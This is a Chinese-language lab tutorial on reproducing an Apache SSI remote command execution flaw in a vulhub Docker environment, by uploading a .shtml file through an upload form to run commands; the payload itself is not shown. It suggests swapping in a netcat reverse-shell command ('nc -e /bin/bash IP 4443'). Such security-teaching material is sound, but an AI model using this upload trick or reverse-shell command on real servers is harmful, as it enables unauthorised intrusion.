漏洞复现之中间件专栏|Apache SSI 远程命令执行漏洞 漏洞复现

前言&原理 如果目标服务器开启了ssi功能,那么shtml文件将可以执行任意命令。如果上传文件程序限制了php文件的上传,且没有限制shtml文件上传,我们可以上传一个shtml文件,并利用语法执行任意命令。

ssi详细讲解请参考:https://blog.csdn.net/weixin_30399871/article/details/94779816,什么是SSI。
ssi漏洞挖掘思路请参考:https://blog.csdn.net/qq_40657585/article/details/84260844,SSI注入漏洞。
漏洞环境 该环境使用vulhub搭建,该漏洞路径为 vulhub/httpd/ssi-rce。进入该漏洞路径后执行以下命令:
docker-compose up -d

-d 表示后台运行。
注意:该命令必须在漏洞目录下执行,该命令是启动当前目录下的docker容器。
【漏洞复现之中间件专栏|Apache SSI 远程命令执行漏洞 漏洞复现】如果不会搭建环境可以参考官方文档:https://vulhub.org/#/docs/
启动环境后访问http://ip地址:8080/upload.php,即可看到一个上传表单。
漏洞复现 将代码 写入文件a.shtml中,然后上传之服务器。
漏洞复现之中间件专栏|Apache SSI 远程命令执行漏洞 漏洞复现
文章图片

然后点击超链接a.shtml即可打开上传文件,并执行id命令。
漏洞复现之中间件专栏|Apache SSI 远程命令执行漏洞 漏洞复现
文章图片

也可将中的id改成其他命令,例如 nc -e /bin/bash IP 4443反弹一个shell。但是要注意的是这个docker容器中没有nc,所以在这个靶机中反弹shell不会成功。
参考文献 [1] https://blog.csdn.net/weixin_30399871/article/details/94779816,什么是SSI。
[2] https://blog.csdn.net/qq_40657585/article/details/84260844,SSI注入漏洞。
[1] https://httpd.apache.org/docs/2.4/howto/ssi.html,Apache httpd Tutorial: Introduction to Server Side Includes.

    推荐阅读